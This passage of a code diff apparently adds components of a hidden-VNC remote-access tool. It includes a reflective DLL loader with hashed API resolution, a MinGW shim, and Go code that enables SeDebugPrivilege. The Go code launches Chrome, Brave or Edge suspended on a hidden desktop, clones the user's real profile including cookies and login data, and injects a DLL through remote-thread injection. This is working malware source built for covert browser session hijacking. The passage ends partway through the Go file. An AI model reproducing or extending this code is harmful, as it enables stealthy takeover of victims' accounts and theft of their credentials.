// flip the words to get the instruction as expected
|
||||||
|
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||||
|
// sanity chack we are processing a MOV instruction...
|
||||||
|
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||||
|
{
|
||||||
|
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||||
|
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||||
|
// apply the relocation to the target address
|
||||||
|
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||||
|
// now create a new instruction with the same opcode and register param.
|
||||||
|
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||||
|
// patch in the relocated address...
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||||
|
// now flip the instructions words and patch back into the code...
|
||||||
|
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||||
|
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||||
|
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||||
|
|
||||||
|
// get the next entry in the current relocation block
|
||||||
|
uiValueD += sizeof(IMAGE_RELOC);
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next entry in the relocation directory
|
||||||
|
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 6: call our images entry point
|
||||||
|
|
||||||
|
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||||
|
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||||
|
|
||||||
|
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||||
|
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||||
|
|
||||||
|
// call our respective entry point, fudging our hInstance value
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
// Store the parameter globally so DllMain can access it
|
||||||
|
g_lpReflectiveParameter = lpParameter;
|
||||||
|
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||||
|
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||||
|
#else
|
||||||
|
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||||
|
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||||
|
return uiValueA;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
switch (dwReason)
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if (lpReserved != NULL)
|
||||||
|
*(HMODULE*)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
||||||
@@ -0,0 +1,203 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <Winsock2.h>
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||||
|
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||||
|
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||||
|
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||||
|
|
||||||
|
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||||
|
#define NTDLLDLL_HASH 0x3CFA685D
|
||||||
|
|
||||||
|
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||||
|
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||||
|
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||||
|
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||||
|
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||||
|
|
||||||
|
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||||
|
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||||
|
#define ARM_MOVW 0xF2400000
|
||||||
|
#define ARM_MOVT 0xF2C00000
|
||||||
|
|
||||||
|
#define HASH_KEY 13
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _rotr )
|
||||||
|
|
||||||
|
__forceinline DWORD ror(DWORD d)
|
||||||
|
{
|
||||||
|
return _rotr(d, HASH_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline DWORD hash(char* c)
|
||||||
|
{
|
||||||
|
register DWORD h = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
h = ror(h);
|
||||||
|
h += *c;
|
||||||
|
} while (*++c);
|
||||||
|
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
typedef struct _UNICODE_STR
|
||||||
|
{
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR pBuffer;
|
||||||
|
} UNICODE_STR, * PUNICODE_STR;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||||
|
//__declspec( align(8) )
|
||||||
|
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||||
|
{
|
||||||
|
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
UNICODE_STR FullDllName;
|
||||||
|
UNICODE_STR BaseDllName;
|
||||||
|
ULONG Flags;
|
||||||
|
SHORT LoadCount;
|
||||||
|
SHORT TlsIndex;
|
||||||
|
LIST_ENTRY HashTableEntry;
|
||||||
|
ULONG TimeDateStamp;
|
||||||
|
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||||
|
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||||
|
{
|
||||||
|
DWORD dwLength;
|
||||||
|
DWORD dwInitialized;
|
||||||
|
LPVOID lpSsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
LPVOID lpEntryInProgress;
|
||||||
|
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||||
|
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||||
|
{
|
||||||
|
struct _PEB_FREE_BLOCK* pNext;
|
||||||
|
DWORD dwSize;
|
||||||
|
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||||
|
|
||||||
|
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||||
|
// WinDbg> dt -v ntdll!_PEB
|
||||||
|
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||||
|
{
|
||||||
|
BYTE bInheritedAddressSpace;
|
||||||
|
BYTE bReadImageFileExecOptions;
|
||||||
|
BYTE bBeingDebugged;
|
||||||
|
BYTE bSpareBool;
|
||||||
|
LPVOID lpMutant;
|
||||||
|
LPVOID lpImageBaseAddress;
|
||||||
|
PPEB_LDR_DATA pLdr;
|
||||||
|
LPVOID lpProcessParameters;
|
||||||
|
LPVOID lpSubSystemData;
|
||||||
|
LPVOID lpProcessHeap;
|
||||||
|
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||||
|
LPVOID lpFastPebLockRoutine;
|
||||||
|
LPVOID lpFastPebUnlockRoutine;
|
||||||
|
DWORD dwEnvironmentUpdateCount;
|
||||||
|
LPVOID lpKernelCallbackTable;
|
||||||
|
DWORD dwSystemReserved;
|
||||||
|
DWORD dwAtlThunkSListPtr32;
|
||||||
|
PPEB_FREE_BLOCK pFreeList;
|
||||||
|
DWORD dwTlsExpansionCounter;
|
||||||
|
LPVOID lpTlsBitmap;
|
||||||
|
DWORD dwTlsBitmapBits[2];
|
||||||
|
LPVOID lpReadOnlySharedMemoryBase;
|
||||||
|
LPVOID lpReadOnlySharedMemoryHeap;
|
||||||
|
LPVOID lpReadOnlyStaticServerData;
|
||||||
|
LPVOID lpAnsiCodePageData;
|
||||||
|
LPVOID lpOemCodePageData;
|
||||||
|
LPVOID lpUnicodeCaseTableData;
|
||||||
|
DWORD dwNumberOfProcessors;
|
||||||
|
DWORD dwNtGlobalFlag;
|
||||||
|
LARGE_INTEGER liCriticalSectionTimeout;
|
||||||
|
DWORD dwHeapSegmentReserve;
|
||||||
|
DWORD dwHeapSegmentCommit;
|
||||||
|
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||||
|
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||||
|
DWORD dwNumberOfHeaps;
|
||||||
|
DWORD dwMaximumNumberOfHeaps;
|
||||||
|
LPVOID lpProcessHeaps;
|
||||||
|
LPVOID lpGdiSharedHandleTable;
|
||||||
|
LPVOID lpProcessStarterHelper;
|
||||||
|
DWORD dwGdiDCAttributeList;
|
||||||
|
LPVOID lpLoaderLock;
|
||||||
|
DWORD dwOSMajorVersion;
|
||||||
|
DWORD dwOSMinorVersion;
|
||||||
|
WORD wOSBuildNumber;
|
||||||
|
WORD wOSCSDVersion;
|
||||||
|
DWORD dwOSPlatformId;
|
||||||
|
DWORD dwImageSubsystem;
|
||||||
|
DWORD dwImageSubsystemMajorVersion;
|
||||||
|
DWORD dwImageSubsystemMinorVersion;
|
||||||
|
DWORD dwImageProcessAffinityMask;
|
||||||
|
DWORD dwGdiHandleBuffer[34];
|
||||||
|
LPVOID lpPostProcessInitRoutine;
|
||||||
|
LPVOID lpTlsExpansionBitmap;
|
||||||
|
DWORD dwTlsExpansionBitmapBits[32];
|
||||||
|
DWORD dwSessionId;
|
||||||
|
ULARGE_INTEGER liAppCompatFlags;
|
||||||
|
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||||
|
LPVOID lppShimData;
|
||||||
|
LPVOID lpAppCompatInfo;
|
||||||
|
UNICODE_STR usCSDVersion;
|
||||||
|
LPVOID lpActivationContextData;
|
||||||
|
LPVOID lpProcessAssemblyStorageMap;
|
||||||
|
LPVOID lpSystemDefaultActivationContextData;
|
||||||
|
LPVOID lpSystemAssemblyStorageMap;
|
||||||
|
DWORD dwMinimumStackCommit;
|
||||||
|
} _PEB, * _PPEB;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
WORD offset : 12;
|
||||||
|
WORD type : 4;
|
||||||
|
} IMAGE_RELOC, * PIMAGE_RELOC;
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
||||||
Binary file not shown.
@@ -0,0 +1,18 @@
|
|||||||
|
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
|
||||||
|
#ifndef _HVNC_SEH_COMPAT_H
|
||||||
|
#define _HVNC_SEH_COMPAT_H
|
||||||
|
|
||||||
|
#ifdef __MINGW32__
|
||||||
|
// MinGW doesn't support MSVC structured exception handling.
|
||||||
|
// Replace __try/__except with plain code execution (no SEH guard).
|
||||||
|
#define __try
|
||||||
|
#define __except(x) if (0)
|
||||||
|
#define __finally
|
||||||
|
|
||||||
|
// MSVC uses GetExceptionCode() inside __except; provide a stub.
|
||||||
|
#ifndef GetExceptionCode
|
||||||
|
#define GetExceptionCode() 0
|
||||||
|
#endif
|
||||||
|
#endif // __MINGW32__
|
||||||
|
|
||||||
|
#endif // _HVNC_SEH_COMPAT_H
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||||
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
|
}
|
||||||
|
|
||||||
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||||
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
|
}
|
||||||
|
|
||||||
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
|
||||||
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
|
}
|
||||||
@@ -0,0 +1,656 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/binary"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
procOpenProcess = kernel32.NewProc("OpenProcess")
|
||||||
|
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
||||||
|
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
|
||||||
|
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
|
||||||
|
procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
|
||||||
|
procCloseHandle = kernel32.NewProc("CloseHandle")
|
||||||
|
procResumeThread = kernel32.NewProc("ResumeThread")
|
||||||
|
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
|
||||||
|
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
|
||||||
|
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
|
||||||
|
)
|
||||||
|
|
||||||
|
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||||
|
|
||||||
|
const (
|
||||||
|
PROCESS_CREATE_THREAD = 0x0002
|
||||||
|
PROCESS_QUERY_INFORMATION = 0x0400
|
||||||
|
PROCESS_VM_OPERATION = 0x0008
|
||||||
|
PROCESS_VM_WRITE = 0x0020
|
||||||
|
PROCESS_VM_READ = 0x0010
|
||||||
|
PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||||
|
|
||||||
|
MEM_COMMIT = 0x1000
|
||||||
|
MEM_RESERVE = 0x2000
|
||||||
|
PAGE_EXECUTE_READWRITE = 0x40
|
||||||
|
|
||||||
|
INFINITE_WAIT = 0xFFFFFFFF
|
||||||
|
|
||||||
|
TOKEN_ADJUST_PRIVILEGES = 0x0020
|
||||||
|
TOKEN_QUERY = 0x0008
|
||||||
|
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||||
|
|
||||||
|
CREATE_SUSPENDED = 0x00000004
|
||||||
|
CREATE_UNICODE_ENVIRONMENT = 0x00000400
|
||||||
|
|
||||||
|
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
|
||||||
|
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b
|
||||||
|
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
||||||
|
)
|
||||||
|
|
||||||
|
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
||||||
|
func enableDebugPrivilege() {
|
||||||
|
var hToken uintptr
|
||||||
|
currentProcess, _, _ := kernel32.NewProc("GetCurrentProcess").Call()
|
||||||
|
ret, _, _ := procOpenProcessToken.Call(currentProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
|
||||||
|
if ret == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer procCloseHandle.Call(hToken)
|
||||||
|
|
||||||
|
seDebug, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
|
||||||
|
type luid struct {
|
||||||
|
LowPart uint32
|
||||||
|
HighPart int32
|
||||||
|
}
|
||||||
|
type luidAndAttributes struct {
|
||||||
|
Luid luid
|
||||||
|
Attributes uint32
|
||||||
|
}
|
||||||
|
type tokenPrivileges struct {
|
||||||
|
PrivilegeCount uint32
|
||||||
|
Privileges luidAndAttributes
|
||||||
|
}
|
||||||
|
var tp tokenPrivileges
|
||||||
|
tp.PrivilegeCount = 1
|
||||||
|
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED
|
||||||
|
|
||||||
|
ret, _, _ = procLookupPrivilegeValueW.Call(0, uintptr(unsafe.Pointer(seDebug)), uintptr(unsafe.Pointer(&tp.Privileges.Luid)))
|
||||||
|
if ret == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||||
|
// injects the reflective DLL, then resumes it.
|
||||||
|
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||||
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||||
|
if filePath == "" {
|
||||||
|
return fmt.Errorf("empty file path")
|
||||||
|
}
|
||||||
|
if len(dllBytes) == 0 {
|
||||||
|
return fmt.Errorf("empty DLL bytes")
|
||||||
|
}
|
||||||
|
|
||||||
|
result, err := executeHVNCTask(hvncTask{
|
||||||
|
kind: hvncTaskStartProcessInjected,
|
||||||
|
filePath: filePath,
|
||||||
|
dllBytes: dllBytes,
|
||||||
|
searchPath: searchPath,
|
||||||
|
replacePath: replacePath,
|
||||||
|
}, 30*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return result.err
|
||||||
|
}
|
||||||
|
|
||||||
|
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
|
||||||
|
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||||
|
// If clone is false, it starts the browser with injection but no path redirection.
|
||||||
|
// browser should be one of: "chrome", "brave", "edge".
|
||||||
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
|
||||||
|
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("unknown browser %q", browser)
|
||||||
|
}
|
||||||
|
|
||||||
|
if exePath == "" {
|
||||||
|
exePath = findBrowserExe(info)
|
||||||
|
if exePath == "" {
|
||||||
|
return fmt.Errorf("%s not found", info.name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !clone {
|
||||||
|
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
||||||
|
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
|
||||||
|
}
|
||||||
|
|
||||||
|
realUserData := getBrowserUserDataDir(info)
|
||||||
|
if realUserData == "" {
|
||||||
|
return fmt.Errorf("could not determine %s user data directory", info.name)
|
||||||
|
}
|
||||||
|
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
|
||||||
|
|
||||||
|
cloneDir, err := cloneBrowserProfile(info.name, realUserData)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("profile clone failed: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
|
||||||
|
|
||||||
|
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
|
||||||
|
}
|
||||||
|
|
||||||
|
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||||
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||||
|
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
type browserInfo struct {
|
||||||
|
name string
|
||||||
|
exePaths []string // candidate exe locations (env vars expanded at runtime)
|
||||||
|
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
|
||||||
|
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
|
||||||
|
}
|
||||||
|
|
||||||
|
var browserInfoMap = map[string]browserInfo{
|
||||||
|
"chrome": {
|
||||||
|
name: "Chrome",
|
||||||
|
exePaths: []string{
|
||||||
|
`\Google\Chrome\Application\chrome.exe`,
|
||||||
|
},
|
||||||
|
userData: `Google\Chrome\User Data`,
|
||||||
|
},
|
||||||
|
"brave": {
|
||||||
|
name: "Brave",
|
||||||
|
exePaths: []string{
|
||||||
|
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||||
|
},
|
||||||
|
userData: `BraveSoftware\Brave-Browser\User Data`,
|
||||||
|
},
|
||||||
|
"edge": {
|
||||||
|
name: "Edge",
|
||||||
|
exePaths: []string{
|
||||||
|
`\Microsoft\Edge\Application\msedge.exe`,
|
||||||
|
},
|
||||||
|
userData: `Microsoft\Edge\User Data`,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
func findBrowserExe(info browserInfo) string {
|
||||||
|
roots := []string{
|
||||||
|
os.Getenv("ProgramFiles"),
|
||||||
|
os.Getenv("ProgramFiles(x86)"),
|
||||||
|
os.Getenv("LOCALAPPDATA"),
|
||||||
|
}
|
||||||
|
for _, root := range roots {
|
||||||
|
if root == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, suffix := range info.exePaths {
|
||||||
|
p := root + suffix
|
||||||
|
if _, err := os.Stat(p); err == nil {
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func getBrowserUserDataDir(info browserInfo) string {
|
||||||
|
base := os.Getenv("LOCALAPPDATA")
|
||||||
|
if info.useAppData {
|
||||||
|
base = os.Getenv("APPDATA")
|
||||||
|
}
|
||||||
|
if base == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
dir := filepath.Join(base, info.userData)
|
||||||
|
if fi, err := os.Stat(dir); err == nil && fi.IsDir() {
|
||||||
|
return dir
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// cloneBrowserProfile clones the browser user data directory, skipping only
|
||||||
|
// large cache directories that aren't needed for a functional session.
|
||||||
|
// This preserves extensions, cookies, login data, local storage, etc.
|
||||||
|
func cloneBrowserProfile(browserName string, srcUserData string) (string, error) {
|
||||||
|
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
||||||
|
// Remove any previous cloned profile directories so we always use fresh data
|
||||||
|
tmpDir := os.TempDir()
|
||||||
|
if old, err := os.ReadDir(tmpDir); err == nil {
|
||||||
|
for _, e := range old {
|
||||||
|
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
|
||||||
|
p := filepath.Join(tmpDir, e.Name())
|
||||||
|
log.Printf("hvnc %s: removing old clone %s", browserName, p)
|
||||||
|
os.RemoveAll(p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cloneBase := filepath.Join(tmpDir, prefix+fmt.Sprintf("%d", time.Now().UnixNano()))
|
||||||
|
if err := os.MkdirAll(cloneBase, 0700); err != nil {
|
||||||
|
return "", fmt.Errorf("mkdir clone: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Directories to skip — these are large caches that aren't needed
|
||||||
|
skipDirs := map[string]bool{
|
||||||
|
"cache": true,
|
||||||
|
"code cache": true,
|
||||||
|
"gpucache": true,
|
||||||
|
"service worker": true,
|
||||||
|
"crashpad": true,
|
||||||
|
"blob_storage": true,
|
||||||
|
"jumplisterrors": true,
|
||||||
|
"optimization_guide_prediction_model_downloads": true,
|
||||||
|
"segmentation_platform": true,
|
||||||
|
"commerce_local_db": true,
|
||||||
|
}
|
||||||
|
|
||||||
|
entries, err := os.ReadDir(srcUserData)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("read user data dir: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
name := entry.Name()
|
||||||
|
src := filepath.Join(srcUserData, name)
|
||||||
|
dst := filepath.Join(cloneBase, name)
|
||||||
|
|
||||||
|
if entry.IsDir() {
|
||||||
|
// For profile directories (Default, Profile N), clone contents but skip caches inside
|
||||||
|
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
||||||
|
if isProfile {
|
||||||
|
if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil {
|
||||||
|
log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
|
||||||
|
}
|
||||||
|
} else if !skipDirs[strings.ToLower(name)] {
|
||||||
|
// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
|
||||||
|
if err := copyDir(src, dst); err != nil {
|
||||||
|
log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Top-level files (Local State, etc.)
|
||||||
|
if err := copyFile(src, dst); err != nil {
|
||||||
|
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return cloneBase, nil
|
||||||
